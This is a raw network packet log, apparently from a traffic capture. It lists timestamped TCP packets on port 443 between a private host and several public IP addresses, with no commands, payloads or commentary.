Oct 16, 2024 17:56:40.084685087 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.084763050 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.085079908 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.085170984 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.085248947 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.085258961 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.133434057 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.184937954 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.185447931 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.185529947 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.185982943 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.185997963 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.188940048 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.189281940 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.189312935 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.189683914 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.189691067 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.189735889 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.190047979 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.190069914 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.190423965 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.190432072 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.233584881 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.233786106 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.233968019 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.234472990 CEST	49790	443	192.168.2.5	104.21.34.79
Oct 16, 2024 17:56:40.234488964 CEST	443	49790	104.21.34.79	192.168.2.5
Oct 16, 2024 17:56:40.322635889 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.322884083 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.322946072 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.322989941 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.323014021 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.323033094 CEST	49786	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.323040962 CEST	443	49786	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.324093103 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.324389935 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.324450016 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.324601889 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.324623108 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.324635029 CEST	49787	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.324640036 CEST	443	49787	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.324965954 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.325061083 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.325109959 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.325364113 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.325376987 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.325387001 CEST	49789	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.325391054 CEST	443	49789	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.326661110 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.326697111 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.326939106 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.327099085 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.327121019 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.327568054 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.327609062 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.327662945 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.327794075 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.327810049 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.328203917 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.328294992 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.328375101 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.328536034 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.328568935 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.429354906 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.429958105 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.429996967 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.430419922 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.430425882 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.566791058 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.566886902 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.566946983 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.567116976 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.567116976 CEST	49791	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.567138910 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.567147970 CEST	443	49791	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.569813013 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.569917917 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.570005894 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.570137024 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.570174932 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.709490061 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.709816933 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.709853888 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.710854053 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.710918903 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.711297989 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.711361885 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.711458921 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.755410910 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.758426905 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.758440971 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:40.805458069 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:40.815608025 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.816072941 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.816138983 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:40.816517115 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:40.816533089 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.144118071 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.144182920 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.144407988 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.144407988 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.144454956 CEST	49792	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.144473076 CEST	443	49792	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.145416021 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:41.145704985 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:41.145837069 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:41.147111893 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.147208929 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.147407055 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.147583961 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.147594929 CEST	49793	443	192.168.2.5	172.67.157.17
Oct 16, 2024 17:56:41.147607088 CEST	443	49793	172.67.157.17	192.168.2.5
Oct 16, 2024 17:56:41.147614956 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.278465033 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.279582024 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.279582024 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.279649019 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.279680014 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.281474113 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.282423973 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.282450914 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.288080931 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.288090944 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.305761099 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.315654993 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.315670013 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.318110943 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.318118095 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.324835062 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.325638056 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.325681925 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.327091932 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.327099085 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.419529915 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.419601917 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.419868946 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.419868946 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.419909000 CEST	49796	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.419926882 CEST	443	49796	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.425313950 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.425350904 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.425379038 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.425456047 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.425527096 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.425533056 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.439066887 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.439085960 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.453463078 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.453485012 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.454027891 CEST	49795	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.454035997 CEST	443	49795	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.457710981 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.457748890 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.457779884 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.457851887 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.457941055 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.457997084 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.458025932 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.458039999 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.458040953 CEST	49797	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.458084106 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.458111048 CEST	443	49797	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.458153009 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.459438086 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.459438086 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.459438086 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.459449053 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.459474087 CEST	49794	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.459492922 CEST	443	49794	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.461363077 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.461400986 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.461730957 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.461738110 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.461812973 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.461812973 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.462029934 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.462042093 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.462275982 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.462285995 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.903206110 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.903764009 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.903800964 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:41.904191017 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:41.904198885 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.040642023 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.040806055 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.040960073 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.040960073 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.041060925 CEST	49798	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.041104078 CEST	443	49798	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.043668985 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.043710947 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.043786049 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.043941021 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.043951988 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.177829981 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.178280115 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.178343058 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.178711891 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.178726912 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.205370903 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.205724955 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.205785036 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.206098080 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.206110954 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.209536076 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.209835052 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.209861040 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.210167885 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.210171938 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.306299925 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.306401968 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.306720018 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.306900978 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.306940079 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.306966066 CEST	49799	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.306982040 CEST	443	49799	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.309513092 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.309614897 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.309709072 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.309844017 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.309884071 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.340126038 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.340204954 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.340269089 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.340481997 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.340481997 CEST	49800	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.340493917 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.340502024 CEST	443	49800	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.342463970 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.342629910 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.342705965 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.343067884 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.343127012 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.343164921 CEST	49801	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.343179941 CEST	443	49801	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.345382929 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.345419884 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.345480919 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.347461939 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.347471952 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.347630024 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.347641945 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.347661972 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.347731113 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.347738028 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.785624027 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.786556005 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.786556005 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.786586046 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.786602020 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.846992016 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.847728968 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.847728968 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.847810984 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.847845078 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.919780970 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.919962883 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.920063972 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.920063972 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.920063972 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.922404051 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.922513962 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.922661066 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.922754049 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.922779083 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.978357077 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.978462934 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.978699923 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.978701115 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.978862047 CEST	49802	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.978903055 CEST	443	49802	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.980906010 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.981012106 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:42.981205940 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.981292963 CEST	49808	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:42.981318951 CEST	443	49808	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.039585114 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.040293932 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.040365934 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.040689945 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.040704012 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.088665962 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.089445114 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.089445114 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.089462042 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.089479923 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.099708080 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.100069046 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.100085974 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.100474119 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.100483894 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.167352915 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.167468071 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.167606115 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.167607069 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.167799950 CEST	49804	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.167835951 CEST	443	49804	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.170173883 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.170274019 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.170595884 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.170595884 CEST	49809	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.170691967 CEST	443	49809	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.220493078 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.220721960 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.220937014 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.220937014 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.221337080 CEST	49805	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.221350908 CEST	443	49805	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.222884893 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.222928047 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.223020077 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.223120928 CEST	49810	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.223148108 CEST	443	49810	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.227309942 CEST	49803	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.227336884 CEST	443	49803	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.232069016 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.232321978 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.232422113 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.232422113 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.232436895 CEST	49806	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.232443094 CEST	443	49806	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.234302998 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.234369993 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.234705925 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.234705925 CEST	49811	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.234767914 CEST	443	49811	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.647672892 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.648574114 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.648628950 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.649383068 CEST	49807	443	192.168.2.5	13.107.246.45
Oct 16, 2024 17:56:43.649409056 CEST	443	49807	13.107.246.45	192.168.2.5
Oct 16, 2024 17:56:43.723443031 CEST	443	49808	13.107.246.45	192.168.2.5
